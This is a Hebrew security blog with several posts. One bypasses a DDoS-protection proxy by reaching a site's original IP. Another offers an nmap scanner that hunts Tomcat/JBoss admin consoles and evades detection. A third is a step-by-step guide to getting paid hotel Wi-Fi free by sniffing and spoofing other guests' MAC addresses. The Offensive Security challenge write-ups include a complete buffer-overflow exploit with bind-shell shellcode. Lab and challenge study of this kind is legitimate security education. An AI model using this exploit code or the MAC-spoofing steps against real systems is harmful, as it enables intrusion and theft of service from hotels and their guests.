BinaryVision

IDS להמונים

מאת בתאריך 18/08/11, תחת כללי

לאחרונה קיבלתי פרסומת (בעזרת ספקית אינטרנט כושלת) על מבצע שמערכת אינקפסולה עושים לאתרים ישראלים בספטמבר, חודש IDS חינם. זה אולי נראה שאני עושה להם פרסומת אבל תמשיכו לקרוא…

כן שיווק יפה מאוד, כן אחלה מודל עסקי (אני מניח, לא באמת אכפת לי), אבל מה זה הדבר הזה בכלל?

זה כמו להביא לחולה שפעת צינור עם אוויר מסונן לנשום דרכו, במקום טיפול אנטיביוטי, ומה גם, הפילטר לא משהו ומידי פעם הספקת החמצן מפסיקה.

זה הוא IDS, פרוקסי שקוף הפוך בין הגולשים לאתר. פרוקסי – הוא שרת ביניים שמוריד קבצים משרתים אחרים שבמקור המשתמש רצה לקבל עליו, פרוקסי שקוף הוא כזה שלא צריך להגדיר והספקיות יכולות להיכנס לתעבורה של המשתמשים (לטוב ולרע), ופרוקסי שקוף הפוך הוא כזה שהאתר עצמו שם לפני האתר האמיתי.

אז כן, ההתקנה פשוטה, מפנים את ה DNS של האתר לפרוקסי של אינקפסולה והם מגינים מפני מתקפות ו- DDoS. ה- DNS לא מוגן אז לא מומלץ להחזיק שרת אחד חצי חינם. מה לגבי האייפי הישן, עדיין נגיש? איך לא…

בחרתי לעשות את ההדגמה על אתר הקהילה של גיא מזרחי מומחה לאבטחת מידע. גיא משתמש באינקפסולה כדי למנוע DDoS (מה שעובד לא רע בכלל), אבל בדרך מוותר על פרטיות של משתמשי פורום אבטחת המידע שהוא מחזיק. המערכת גם "מתחרפנת" די הרבה והאתר לא נגיש לעתים תכופות.

אז ככה, האתר המוגן נותן לנו:

hacking.org.il has address 194.90.228.60
www.incapsula.com is an alias for incapsula.com.incapdns.net.
incapsula.com.incapdns.net has address 194.90.228.60

אפשר לראות שזה האתר המוגן והוא יושב מאחורי אותו פרוקסי כמו האתר של אינקפסולה, יש גם cookie לזיהוי הפרוקסי – incap_visid_7_124
סבבה, עכשיו בוא נראה מה היה האייפי הקודם של האתר, חיפוש של 15 שניות נותן לנו את… 82.80.245.181, בוא נשים ב hosts ו…
האתר עובד, אין cookie, וואו, זה היה פשוט מידי, אז למה האתר לא מגדיר whitelist לגישה עליו? מאותה הסיבה שכל כך קל להגדיר את ה- IDS. לא כל מה שקל – זה רעיון טוב באבטחת מידע.

או קיי, מה עוד? יש פלאגין ל wordpress שאומר שאינקפסולה שולחת header עם כתובת האייפי האמיתית, מעניין אם גם אני יכול…

Incap-Client-IP: 1.3.3.7

עריכה: טוב, אז זה לא עובד כי הפורום לא מסתכל על זה, הפורום פשוט מניח שכל המשתמשים מחוברים מאותה כתובת… אני באמת לא יודע מה יותר גרוע מהשתיים

13 תגובות עוד...

DoS על השרת

מאת בתאריך 11/07/11, תחת כללי

החלטתי להביא כמה גרפים ותמונות, אין פה איזה פואנטה או משהו חכם להגיד על זה. סתם משהו ששרף לי כמה שעות היום להחליף אייפי ולנהל מו"מ עם האכסון. המחשב היחיד שתקף אותנו עדיין חי ובועט, הספקית שלו לוקחת את הזמן.

מה קרה? השרת אכל המון UDP לפורט 53 (DNS), ולא, אין שירות DNS על השרת. לא היה צריך לחסום שום דבר, מצד שני התעבורה נאכלה בכל מקרה. ברור שהיה אפשר בקלות לגרום יותר נזק. אני אצרף שורה לדוגמא מ tcpdump.

עובדה מענינת שגיליתי: iptables לא הוריד את ה CPU Usage בכלל. בשעות הבוקר הוספתי rule חדש ואין שום שינוי ל CPU בגרף. רק בשלב שבו הספקית ניתבה את האייפי והשרת הפסיק לאכול את ה UDP ה- usage ירד.

10:13:27.106154 IP (tos 0x0, ttl 113, id 42349, offset 0, flags [none], proto UDP (17), length 29) 66.147.172.2.30479 > 109.74.197.108.53: [|domain]

2 תגובות עוד...

Reversing Python Bytecode

מאת בתאריך 06/01/11, תחת כללי

מבוא

מתחיל להיות נפוץ נושא השימוש בשפות סקריפט לכתיבת קבצי EXE.
במיוחד בחברות Outsourcing שכל המטרה שלהן לכתוב מהר וקל.
אחרי שהחברה מסיימת לכתוב, מביאה מוצר, צריך להבין מה לעזאזל הם עשו שם.
Reversing קלאסי לקובץ EXE שהוא בעצם Py2EXE, לא כלכך עובד.
אז מה עושים?

מודול Dis

מחיפושים באינטרנט דבר ראשון שנתקלתי בו,
זה שיש מודול מובנה בPython להצגת הBytecode בצורה יותר ברורה, ושמו Dis.
http://docs.python.org/library/dis.html
הוא יודע לקבל code object, ולפתוח אותו למשהו קצת יותר קריא.
זה לא נותן את המקור, אבל זה מפתיע כמה זה קרוב.
בואו ננסה:

def test():
 a = 5
 b = 6
 if a == 5:
  b = 7
 return b

עכשיו נפרק את זה בעזרת Dis

>>> import dis
>>> dis.dis(test.func_code)
 2           0 LOAD_CONST               1 (5)
           3 STORE_FAST               0 (a)

 3           6 LOAD_CONST               2 (6)
           9 STORE_FAST               1 (b)

 4          12 LOAD_FAST                0 (a)
          15 LOAD_CONST               1 (5)
          18 COMPARE_OP               2 (==)
          21 JUMP_IF_FALSE           10 (to 34)
          24 POP_TOP

 5          25 LOAD_CONST               3 (7)
          28 STORE_FAST               1 (b)
          31 JUMP_FORWARD             1 (to 35)
      >>   34 POP_TOP

 6     >>   35 LOAD_FAST                1 (b)
          38 RETURN_VALUE

זה מדהים עד כמה זה מדוייק, כולל שמות משתנים והכל.
המספר הראשון זה מספר השורה בקוד מקור…
המספר שמופיע לפני כל מילה זה מספר הByte
המילה, זה הפעולה (לדוגמה LOAD_CONST)
המספר אחריה זה פרמטר, ובסוגריים זה הפיכת הפרמטר למשהו משמעותי אם אפשר.

נעבור לפי הסדר, ונראה כמה קל זה לבנות חזרה את הקוד:
שורה 2, LOAD_CONST טוען קבוע למחסנית, הקבוע הוא באינדקס 1, אבל הערך שלו הוא 5.
ואז STORE_FAST שומר את הערך מהמחסנית לתוך המשתנה באינדקס 0, ששמו a.
מה כל פעולה עושה מתועד היטב בקישור למודול DIS, ומה שנשאר זה להבין שהפקודה היא:

a = 5

שורה 3, אותו דבר, נעבור לשורה 4.
טוענים את a למחסנית, טוענים 5, ועושים COMPARE_OP עם ==.
הפעולה משווה בין השניים האחרונים במחסנית במחזירה את התשובה למחסנית.
עד כה יש לנו a == 5.
JUMP_IF_FALSE בודק את הערך האחרון במחסנית, ואם הוא FALSE קובץ לByte 34.
POP_TOP שולף את הערך האחרון במחסנית.
אז אם נרצה לשחזר את זה, צריך להבין שבמקרה שהערך הוא שקר, הוא מדלג _מעל_ קטע הקוד הבא, ז"א אם נרצה לרשום את זה רצוף, אז במקרה של אמת, הוא נכנס לקטע קוד, אז התנאי נראה כך:

 if a == 5:
     #... continue here ...
 #... if false jump to here ...

ואפשר להמשיך כך הלאה עד שבונים מחדש את הפונקצייה…

py2exe

הייצור שקוראים לו py2exe אורז את סקריפט הPython, כל ספריות, וכל דבר שצריך כדי להריץ אותן, לתוך EXE אחד.
והוא עוזה את זה בצורה הבאה:
כל הDLLים, וכל הספריות שעושים להן Import, הוא מקמפל לBytecode, ושם בZIP, בתוך הEXE.
ניתן לחלץ אותו ממש בקלות ע"י 7Zip שמאתר אותו, ופשוט נותן להוציא מתוכו קבצים.
עכשיו צריך, רק למצוא את הסקריפט הראשי.
הוא נשמר כResource בEXE, אפשר בקלות לשלוף אותו עם Visual Studio.
פותחים EXE עם התוכנה, והוא מציג את כל הResources, אחד מהם זה הקוד המקומפל.

רק משהו קטן

קובץ .pyc משוייך לPython שאיתו בנו אותו, וזה לא סתם, כי הBytecode משתנה.
כל הקבצים שנמצאים בZIP ניתן לעשות להן import כל עוד הגרסה של הפייטון תואמת,
ואחרי זה אפשר להריץ dis.dis על המודול כולו. (אפשר גם על פונקציות בנפרד).
עם הResource העניין קצת יותר בעייתי, כי הוא לא בדיוק Library, אלא Marshalled, בעזרת מודול marshal.
בשימוש במודול אפשר לשלוף את הCode Object הראשי, וממנו למצוא כל Code Object אחר, ולהעביר אותו לDIS גם כן.

פרויקט

חשבתי לעשות Python Decompiler,
זה מתחיל להיות קשה כשמגיעים לתנאים מסובכים, ולולאות עם תנאים מסובכים בתוכן.
אני חושב שזה אפשרי לחזור לקוד מקור בצורה אוטומטית, מה דעתכם?
(יש כמה נסיונות לDecompiler באינארנט, לא ראיתי אחד נורמלי…)

6 תגובות :, , , עוד...

סקריפט קטן ל NMAP

מאת בתאריך 30/12/10, תחת כללי

אם כבר עסקתי ב NMAP …

אז הנה סקריפט קטן שכתבתי לצורך זיהוי של בעיות אבטחה ב apache tomcat, הסקריפט ינסה לזהות את טומקאט בפורטים הפתוחים ולאחר מכן ינסה להזדהות בכדי להשיג גישה אל מערכת הניהול. במידה והוא לא ימצא את טומקאט הוא יחפש אחרי jboss / jmx console (מה שבעצם יתן לנו אותו סוג של גישה).

להורדה:

https://www.binaryvision.co.il/wp-content/uploads/2011/01/tomcat-scan.tar.gz

שימוש: לחלץ את הסקריפט לתיקיית הסקריפטים של NMAP ולאחר מכן להריץ

nmap -sS -sV -T4 -g80 -n -v -p80,81,8080,8081 –script=tomcat-scan X.X.X.X/16

אגב מומלץ לערוך את הספריות של NMAP לפני הקימפול בגלל שהוא שולח פרטים אשר מסגירים את תוכנת הסריקה…

User-Agent: nmap במקרה של HTTP

תהנו.

(עבר עריכה קלה, הוספתי עוד בדיקות ל JMX מכיוון שלבדוק רק אם הקוד הוא 200 זה לא הכי פרקטי)

תגובה אחת עוד...

Merry Xmas?

מאת בתאריך 25/12/10, תחת כללי

2 תגובות עוד...

גלישה חינם בבתי מלון

מאת בתאריך 16/08/10, תחת כללי

אחרי 7 בתי מלון ב- 11 יום החלטתי לפרסם כמה טיפים למטיילים בעולם. המלצה חמה בבריטניה למלונות הרשת Ramada, גם מאוד נחמדים וגם אינטרנט חינם.

במקומות אחרים נתקלתי במערכות ניהול וגביה, הנפוצה מביניהם נקראת spectrum. לדעתי 6 פאונד לשעת גלישה זה מוגזם, לכן הנה מספר טיפים כיצד לחלוק את החשבון עם משתמשים אחרים.

הרעיון בגדול הוא, למצוא מישהו ששילם (בעיקר ע"י ניסוי וטעייה או ניחושים מושכלים) ולהשתמש בזיהוי כרטיס הרשת שלו. להחליף כתובת mac ב- Windows זה סיפור מהתחת, לא תמיד אפשרי, במיוחד בעדכונים האחרונים של הדויורים וגם הדרך משתנה מכרטיס לכרטיס. מה שכן, Windows שימושי בשלב ראשוני מאוד עם התוכנה Cain, שמאפשרת לסרוק את ה subnet ולמצוא משתמשים פעילים ברשת (ip, mac וייצרן בקובץ hosts.lst). ההבדל המהותי הוא שב- arp -a למשל, לא רואים שום דבר חוץ מה- default gateway, כש- cain מייצר מפה שימושית מאוד אותה אני ממליץ לקחת ל ubuntu לשלבים הבאים של התהליך.

למי שלא מצא מספיק אנשים, או שלא רוצה לעבור ל windows, השיטה השנייה, היותר איטית אבל בהחלט יותר מדויקת (ונסתרת) היא להסתכל מי מדבר עם ה AP באוויר, וכך למצוא כתובות של קליינטים. אני ממליץ על שילוב של aircrack-ng עם wireshark. קודם נפתח ממשק למוניטור (נניח שהתחנות שמעניינות אותנו על ערוץ מס' 6 והכרטיס הוא wlan0) הפקודה היא: airmon-ng start wlan0 6 (מפסיקים עם airmon-ng stop mon0).

להבדיל מ- Windows, ב Ubuntu קיבלתי תמיכה מלאה בשינוי מאק ו injection ב aircrack ישר מהקופסה כמו שאומרים. אחרי שפתחתי ממשק mon0, פתחתי wireshark (מ root) והתחלתי לתפוס תעבורה מ mon0. עשיתי סינון לא לרשום broadcasts וכו'. הלוג עצמו שימושי, אבל יותר פשוט ללכת ל statistics ולבחור wlan. שם, רואים את כל התחנות ואת הקליינטים שמדברים איתן, וכמות המידע שעוברת בניהם. מכאן גם אפשר לקבל רשימה של כתובות mac ויצרנים.

עכשיו שיש רשימת יצרנים (אני תמיד ממליץ להתחיל מ apple, בדר"כ אנשים עם יותר כסף משכל), אפשר להתחיל לנסות להתחבר. בשביל לשנות mac צריך לנתק לרגע את ה network (קליק ימני על האייקון באובונטו Disable Network), ואז מתוך root, נשנה את ה mac שלנו ככה: ifconfig wlan0 hw ether aa:aa:aa:aa:aa:aa אפשר גם בלי הנקודתיים. כמובן שבסוף נעשה שוב קליק ימני ונדליק את ה network. השינוי הוא שינוי זמני ולא נשמר אחרי Restart.

אחלה, התחברנו לרשת עם mac של מישהו אחר, עכשיו בוא נבדוק אם יש לנו אינטרנט נקי ע"ש השירות של מיקרוסופט או אקמאי, אם אין redirection האינטרנט מוכן, אם לא, מנסים mac אחר.

wget -O /dev/null http://www.msftncsi.com/ncsi.txt

wget -O /dev/null http://whatismyip.akamai.com

נגמרו הכתובות או הסבלנות? עוד קצת sniffing, אולי על ערוץ אחר יכול להוביל לתוצאה יותר חיובית.

אם המחשב המקורי עדיין מחובר יהיה קצת חורים שחורים בגלישה. בדר"כ רשתות כאלה משדרות יותר מ AP אחד (למשל spectrum, wifizone) ולמרות שזו אותה רשת, ברמת ה AP זה לא, לכן אפשר להתחבר פשוט לרשת השנייה (המשתמש המקורי מתחבר לאחת, אתם מתחברים לשניה) ואז כולם שמחים.

ברגע שמתרגלים: התהליך לוקח פחות מ- 5 דקות. זהו, תהנו מחופשה עם אינטרנט on the house.

עדכון: למרות שלא יצא לי לבדוק בתנאי אמת, הנה תחליף לסריקת ה- arp עם cain:

nmap -sP -PR 10.1.0.1-255

16 תגובות :, , , , , עוד...

אתגר Hacking של Offensive Security – שלב שני

מאת בתאריך 06/07/10, תחת כללי

מה היה לנו

  • קיבלתי Root על 192.168.6.200
  • מצאתי עליו קובץ mosquito.exe

http://www.filesonic.com/file/2125504394/mosquito.exe
מי שרוצה לנסות קצת בעצמו מוזמן להוריד את הקובץ אליו, ולהפסיק לקרוא כאן.

mosquito

בוא ננחש מה עושה הקובץ לפי הImports שלו.

Mosquito Imports

משתמש בסוקטים, וקצת Threads פה ושם, חוץ מזה כל מיני דברים מציקים כמו IsDebuggerPresent.
אז אם נריץ אותו, והוא מאזין על פורט, נוכל בקלות לראות איזה.
הרצתי אותו, קפץ הFirewall ואומר שהוא מנסה להאזין על 4597, אישרתי לו.
טוב, ננסה להתחבר אליו עם Netcat ולראות אם הוא זורק לנו משהו למסך.

nc -nvv 127.0.0.1 4597

קופץ הFirewall, ואומר לי שהmosquito.exe מנסה ליצור חיבור ל127.0.0.1 לפורט 1080…. מאיפה זה בא??
החלטתי שלפני שאני קופץ פנימה לתוך הקוד, אני מרים Netcat מאזין מקומי, על פורט 1080, ורואה מה הולך שם.

nc -nvvLp 1080

מריץ את הייתוש מחדש, מתחבר אליו, רואה שהוא מתחבר לnetcat השני, וכלום לא קורה…
שולח קצת טקסט, לא קורה כלום…..
טוב, בדיקה אחרונה לפני שצוללים לקוד, האם הוא פותח חיבור תמיד ל127.0.0.1? או שזה חיבור חזרה למי שניסה להתחבר אליו?
נבדק בצורה פשוטה ע"י מכונה שהיא לא מקומית, כתובת P) אחרת שמנסה להתחבר לMosquito, ואיזה יופי, הFirewall אומר שהוא עדיין מנסה להוציא חיבור ל127.0.0.1 למרות שהחיבור הגיע מכתובת אחרת.

צוללים לקוד

פותח IDA חזרה, מאתר את המקום שבו יש קריאה לrecv.
מריץ Netcat מקומי מאזין על 1080.
פותח ollydbg, מציב breakpoint על הRecv.
פותח Netcat נוסף ומתחבר לmosquito שמריץ הollydbg.
קופץ הBreakpoint, אני שולח איזה שטות בNetcat, ומתחיל לעקוב אחרי זה בקוד בollydbg שורה שורה.
אני לא הולך לפרט את כל התהליך, אבל זה המסקנות שהגעתי אליהן אחרי כמה ריצות:

  • כל חבילה שמתקבלת עוברת איזה "הצפנה" פשוטה… XOR עם הערך 4.
  • נבדק האם האם הכתובת המקומית של השרת היא 192.168.6.141
  • המידע נשלח לסוקט השני ששמחובר מקומית לפורט 1080

אז מה עכשיו

  • חיפוש חולשות בקוד עצמו ובטיפול של הBuffer מהנקודה שהתקבל ועד שנשלח הלאה.

לא מצאתי חולשות רגילות של Buffer Overflow

  • אולי זה לא אתגר ניצול חולשה, אלא צופן\Reverse? אולי צריך לשלוח מחרוזת מיוחדת כך שאחרי ההצפנה זה יהיה איזה מפתח.

נזכרתי בטקסט שהיה רשום באתר של Mosquito, עם התמונה, היה כתוב "bRAin suck3r".
בגלל איך שזה היה כתוב, חשבתי שזאת המחרוזת שמי שזה לא יהיה בפורט 1080 צריך לקבל.
כתבתי סקריפט שמקסר עם 4 ושולח לכתובת שאני מבקש, הרצתי, ולא קיבלתי תשובה.

  • רגעעעעע, הדבר הזה בכלל מחזיר תשובות מאותו שירות שרץ על 1080?

בבדיקה מקומית (שליחה בNetcat המאזין על 1080) מתקבל אותו זבל "מוצפן" בNetcat המתחבר.

  • אז אם זה הצפנה דו כיוונית, אולי זה פרוקסי טיפש מול שירות רגיל כלשהו?

מה רץ בדרך כלל על 1080? HTTP…
שיניתי את הסקריפט כך שישלח בקשת GET מקוסרת ב4, ויציג לי תשובה אם יש.
קיבלתי הרבה הרבה זבל חזרה.
הוספתי גם קיסור ב4 על התשובה, וקבילתי דף HTML.

  • אז הדבר הזה הוא פרוקסי לשרת WEB

כדי שאני אוכל לגלוש אליו בחופשיות שיפרתי את הסקריפט שלי כך שיעביר מידע בשני הכיוונים, ויתמוך ביותר מחיבור אחד במקביל.
הרצתי אותו, ועכשיו אני יכול לגלוש בדפדפן ל127.0.0.1 לפורט שאני אבחר, ולראות מה מסתתר שם בשירות שרץ על 1080.
הסקריפט:

#!/usr/bin/python
#
import socket
import sys
import thread

def tunnel_data(sock1,sock2):
	try:
		data = sock1.recv(0xffff)
		while data:
			ndata = ""
			for i in data:
				ndata += chr(ord(i) ^ 4)
			sock2.sendall(ndata)
			data = sock1.recv(0xffff)
		sock2.close()
	except Exception,e:
		print e
		sock1.close()
		sock2.close()

def main(ip,lport):
	global MSG
	lsock = socket.socket()
	lsock.bind(("0.0.0.0",lport))
	lsock.listen(1)
	while True:
		cli = lsock.accept()[0]
		rsock = socket.socket()
		rsock.connect((ip,4597))
		thread.start_new_thread(tunnel_data,(cli,rsock))
		thread.start_new_thread(tunnel_data,(rsock,cli))

main(sys.argv[1],long(sys.argv[2]))

האתר

נפתח חלון של איזה תוכנת צ'אט, שקוראים לה Easy Chat Server.
בנוי בAJAX, ומעוצב בצורה שמאד מסכנת את הפיצה שאכלתי לא מזמן.

Easy Chat Server

התחלתי לשחק איתו, לחפש SQL Injections, לחפש בעיות הרשאות, לנחש סיסמה של המנהל של הערוץ.
שזה לא היה קשה, הסיסמה של המנהל admin הייתה admin, אבל זה לא נתן לי כלום.
טוב, אולי זה שרת מוכר באינטרנט, אולי יש לו חולשות.
איזה יופי שבדף תוצאות הראשון אני מוצא את הקישור הבא:
http://www.metasploit.com/modules/exploit/windows/http/efs_easychatserver_username

פריצה מעל פרוקסי מצפין

הפעלתי Metasploit הגדרתי את הפרצה שתנסה לפרוץ לי את הפרוקסי המקומי, ותשתמש בMeterpreter שמתחבר חזרה אלי ישירות.
הרצתי את הפרצה, ואחרי כמה ניסיונות כושלים, זה עבד!!
קיבלתי Shell על השרת 192.168.6.141.
בדיקה מהירה גילתה שאני משתמש חסר הרשאות, שאין לו גישה לDesktop של הAdministrator.
וGetSystem של Meterpreter לא עזר.
מערכת ההפעלה היא Windows 2003 SP2.

נסיונות לעלות הרשאות

ציינתי כבר שכל 30 דקות המכונות עוברות Revert?
האם אמרתי עד כמה מעצבן זה כשאתה מנסה למצוא איך לעלות הרשאות במכונה שיש לך גישה אליה?
הייתי צריך לפרוץ מחדש את המכונה כל פעם שאיבדתי גישה בגלל הRevert.
אבל מספיק לבכות, כאן זה הזמן לאמר שלעלות הרשאות במכונה לא הצלחתי באותן 10 שעות שהיה לי לאתגר הזה.
דברים שניסיתי:

  • מציאת חולשות Privilege Escalation ידועות למערכת ההפעלה, לא הלך, המכונה כנראה Fully Patched
  • מציאת Services שרצים כSystem לבדוק אם אפשר להחליף להם את הEXE ולעשות להפיל אחד מהם שיעלה מחדש, היה שם שרת VOIP שרץ כSystem ומאד קרץ לי, אבל שרף את רוב הזמן.
  • חיפוש קבצים זרוקים במערכת שיש לי גישה "בטעות" אליהם ויש שם סיסמה או משהו שיעזור

אתם מוזמנים להציע עוד דרכים…
אני לא אוכל להגיד אם זה היה עובד או לא, האתגר נסגר, אבל אני כן יכול לפרסם את הדרך שאחת הקבוצות האחרות מצאה, אחרי שתכתבו כמה רעיונות משלכם….

8 תגובות :, , , , , עוד...

אתגר Hacking של Offensive Security – שלב ראשון

מאת בתאריך 26/06/10, תחת כללי

קצת על האתגר

האתגר התחיל ב19 ליוני בשבת, ונמשך 48 שעות.
המארגנים של האתגר הקימו 5 מכונות וירטואליות (Virtual Machines) שיושבות על שרת אצלהם.
ולכל מי שנרשם נתנו שם משתמש וסיסמה בשביל גישת VPN.
ברגע שמתחברים מקבלים כתובת IP בC Class שעליו יושבים השרתים.
מטרת האתגר:

  • תוך 48 שעות, לפרוץ 5 מחשבים
  • להשיג מהלינוקסים שבהם את התוכן של proof.txt שיושב ב /root
  • ומהוינדווסים להשיג את התוכן של proof.txt שיושב בDesktop של המנהל (Administrator)
  • כל מחשב שווה 20 נקודות, הראשון שמגיע ל100 ניצח, הפרס היה כרטיסים לBlackhat.
  • כל מכונה עוברת Revert כל 30 דקות כדי שאם מישהו הרס אותה לאחר, או לעצמו תהיה לו עוד הזדמנות.

קישור לאתר של האתגר, עם עוד קצת הסברים:
http://www.information-security-training.com/events/let-the-games-begin-again
לי יצא לעבוד על זה בערך 10 שעות.

סריקה ראשונית

מרים בBacktrack 4 מחבר אותו לVPN ומקבל כתובת 172.16.6.90
מריץ NMap על ה255 מחשבים שאיתי ברשת, ומוצא 5 שרתים.

  • 200 – פתוח פורט 80
  • 141 – פתוח פורט 80 וכמה פורטים של SIP
  • 115 – פתוח שרת SQL
  • 140 – פורט 80 פתוח וכמה שהם filtered
  • 150 – ענה לי פעם על פורט כלשהו ונעלם

מעבר מהיר על המחשבים

  • 141 – מציג אתר עם תמונה של יתוש אנושי כזה, עם הטקסט bRAin suck3r מתחת
  • 140 – מציג חתול שנראה כאילו מסתיר את הביצים שלו ומופתע וכתוב OMG!!! Knock First!!!
  • 115 – שרת SQL שאין לי משתמש אליו
  • 200 – מציג תיקייה עם 2 קבצים Vuln.c ו Vuln בינארי.
  • 150 – לא התעסקתי איתו

הכי מעניין והכי ברור מכל המחשבים האלה היה לדעתי 200, שהיה עליו קוד C ובינארי של משהו.

Vuln

בשרת 200 היו 2 קבצים, הנה הם להורדה, מי שרוצה לראות:
http://www.filesonic.com/file/2125504824/vuln.rar
הקבצים היו בינארי של לינוקס, וקוד מקור שלו בC.
מעבר על המקור מגלה את השורות הבאות:

#define LISTENPORT 7500
...
//now fill in the fields we need
  my_addr.sin_family = AF_INET;
  my_addr.sin_port = htons(LISTENPORT);
  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

  //bind our socket to the port
  if (bind(sock,(struct sockaddr *)&my_addr, ...)){
    perror("bind");
    exit(1);
  }

  //start listening for incoming connections
  if (listen(sock,BACKLOG) == -1) {
    perror("listen");
    exit(1);
  }

הקוד מאזין על פורט 7500.
מפעיל NMap שוב וסורק את המחשבים, מקבל 7500 פתוח על אותו המחשב שלקחתי ממנו את הקבצים (200).
אז הבינארי הזה רץ על השרת הזה.
בואו נראה אם יש חולשה בבינארי (גם השם שלו מרמז).
שורות מעניינות:

char reply[1024];
...
    recv(conn, reply, 1024, 0);
    handle_reply(reply);
...
int handle_reply(char *str)
{
char response[256];
strcpy(response,str);
printf("Your message is \"%s\"\n",response);
return 0;
}

התוכנה מקבלת באפר בגודל 1024, מעבירה אותו לפונקצייה שמעתיקה אותו בצורה לא בטוחה לבאפר בגודל 256.
Buffer Overflow קלאסי, על המחסנית, זה אומר שאפשר להריץ קוד.
עוד קטע שקופץ לעיניים בקוד:

int jmp(void){
 __asm__("jmp %esp");
 return 0;
}

הם אפילו נתנו לי את המקפצה בתוך הקוד עצמו, אין צורך לחפש שנים משהו גנרי שקיים גם בלינוקס אחר וכל זה.

ניצול חולשה

שלב ראשון, אני מעביר לBacktrack שלי את הVuln, מריץ, מתקשר איתו בודק שהוא מגיב כמו שאמור להגיב.
אחרי זה מריץ אותו מחדש עם gdb, ומכין סרקריפט Python שמפציץ אותו ב1000 תווים של A.
מקבל כצפוי Segmentation Fault על ניסיון להריץ 0x41414141 שזה "AAAA".
מסתכל על המיקום הנוכחי במחסנית, מסתכל אחרורה ורואה שהבאפר מתחיל 268 תווים אחורה.
חוזר לסקריפט, מתקן את הבאפר ככה שישלח 268 אותיות A, ואחרי זה 0xDEADBEEF, ואחרי זה עוד איזה 30 אותיות B.
מריץ מחדש את הקובץ עם gdb, מריץ סקריפט, ומרוצה מאד מהתוצאה, הוא קורס על ניסיון הרצה של 0xDEADBEEF.
שלב הבא, איפה המקפצה שלנו, אנחנו צריכים jmp esp, כמה יפה מצידת שהם שמו את זה בקוד, זה אומר שרוב הסיכויים שהכתובת לא תזוז אם מריצים את הקובץ בלינוקס דומה.
מסתכל על הקוד בIDA, ורואה שהכתובת של JMP ESP, היא: 0x0804866A
מעדכן את הסקריפט, מוסיף במקום הB הראשון, את הקוד של int3 (מי שלא יודע זה 0xcc).
מריץ מחדש את התוכנה הפגיעה עם הדבאגר מחובר, תוקף אותו עם הסקריפט, ומקבל SIGTRAP, כשהו מנסה להריץ את INT3.
קיבלתי Code Execution.
נכנס לmetasploit.com מוריד את הBind Shell הראשון שאני רואה, משלב אותו במקום ה0xCC.

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

מוסיף כמה שורות לפייטון כדי לאפשר החלפת פורט מאזין שיפתח שלא יהיה 4444, (\x11\x5c)
עושה בדיקה מקומית על התוכנה שמריץ אצלי, הפירצה מצליחה, ופותחת פורט להאזנה, התחברות Netcat נותנת לי גישה.
אז הנה הExploit שכתבתי כדי לפרוץ את התוכנה הזאת:

#!/usr/bin/python
#
# exploit.py <ip> <port>
#
#

import socket
import sys
import time
import struct

JMP_ESP_ADDR = 0x0804866A

SHELLCODE = ("\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd"
"\x80\x5b\x5e\x52\x68\xff\x02\x11\x5c\x6a\x10\x51\x50\x89"
"\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd"
"\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49"
"\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x50\x53\x89\xe1\xb0\x0b\xcd\x80")

def main(ip,port):
	global SHELLCODE
	global JMP_ESP_ADDR
	so = socket.socket()
	so.connect((ip,7500))
	greet = so.recv(1024)
	SHELLCODE = SHELLCODE[:21]+struct.pack("!H",port)+SHELLCODE[23:]
	buff = "A" * 268 + struct.pack("L",JMP_ESP_ADDR) + SHELLCODE
	so.sendall(buff)
	time.sleep(5)
	so.close()
	
main(sys.argv[1],long(sys.argv[2]))

מריץ את האקספלויט על השרת 6.200, ואחרי זה מתחבר לפורט שנפתח עם Netcat.

מה יש בשרת

נראה כאילו התחברתי כRoot, אין צורך לעלות הרשאות! 🙂
נכנס לתיקיית הבית של root, מוצא שם את proof.txt, מציג את התוכן שלו, מעתיק את הHash.
רואה עוד קובץ מעניין, mosquito.exe, מוריד אותו בעזרת Netcat.
הולך לאתר של האתגר, מכניס את הHash, זוכה ב20 נקודות!

בפוסט הבא

מה זה mosquito.exe?
האם הוא נותן רמז לשרת עם הזבוב בתמונה?
ולמה כלכך מעט אנשים הצליחו 2 מחשבים כלכך מאוחר לתוך האתגר??

14 תגובות :, , , , , עוד...

בזק: שלום!

מאת בתאריך 04/02/10, תחת כללי

צ'או בזק. עכשיו נתן סיכוי לתשתית של HOT, לא שאני עובר ל- HOT מתוך בחירה, ברור שזה הרע במיעוטו ושחסרה תחרות בתחום תשתית האינטרנט בארץ. אולי יום יבוא וסלקום / אורנג' / חברת חשמל יעשו קצת תחרות. בכל מקרה, רציתי לכתוב קצת על החיים שאחרי המעבר. בעיקר, איך שורדים עם טלפון שמחובר ל- Skype ומה הבעיות שזה עושה.

(המשך לקרוא…)

4 תגובות :, , , , , עוד...

אבטחה נמצאת בפרטים הקטנים

מאת בתאריך 31/01/10, תחת כללי

הפוסט של היום לא עוסק בהקשחת שרת או בתכנות נכון והגנתי, אלא בדבר חשוב יותר משניהם, תכנון.
נתקלתי לאחרונה ב"פרצה" די מבדרת. הפרצה אומנם לא מאפשרת לי להשתלט על שרת, או אפילו לפגוע במשתמשים, אבל היא בהחלט מאפשרת גישה לדבר ששווה כסף, או לפחות יכול להיות מעצבן: כתובות אימייל של קבוצה ממוקדת נושא, במקרה הזה, אנשי טכנולוגיה.
למי שלא מכיר, האתר sourceforge הוא האתר הכי גדול (או לפחות אחד מההכי גדולים) לפרוייקטים קוד פתוח. באתר יש כ 2 מיליון משתמשים רשומים וכ 230,000 פרוייקטים. בנוסף, ישנם Mailing lists לכל הפרוייקטים, ובזה נתמקד.

